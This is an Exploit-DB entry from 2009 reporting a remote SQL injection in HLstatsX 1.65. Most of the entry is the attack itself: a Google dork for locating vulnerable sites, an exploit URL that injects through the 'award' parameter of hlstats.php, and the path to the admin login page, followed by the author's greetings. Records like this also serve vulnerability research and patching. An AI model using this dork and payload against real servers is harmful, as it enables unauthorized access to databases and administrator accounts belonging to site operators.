HLstatsX 1.65 - SQL Injection

EDB-ID:

10850

CVE:

EDB Verified:

Author:

bnc

Type:

webapps

Exploit: /

Platform:

PHP

Date:

2009-12-31

Vulnerable App:

#==iNFO==========================================#
# Software: HlstatsX Sql Injection
# Vulnerability: Remote Sql Injection
# Google Dork: "hlstats.php?mode=dailyawardinfo&award=" hlstatsx
# Off. site: www.hlstatsx.com
#================================================#

#===Author=======================================#
# Author: bnc
# Date: 2009.12.30.
# Contact: irc.freenode.net<http://irc.freenode.net> #rootsite.hu<http://rootsite.hu> [BNC]
#================================================#


#==SQL_Injection================================#
# Exploit: hxtp://site/hlstats.php?mode=dailyawardinfo&game=l4d&award=@

# Login page: hxtp://site/hlstats.php?mode=admin
#================================================#


#===Greetz=======================================#
# rootsite.hu<http://rootsite.hu> staff & members, for happy moments
# My mom for cookies, and intresting blablas
# My girlfriend, for anything, I just love babe <3
#================================================#

Tags:

Advisory/Source: Link

Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services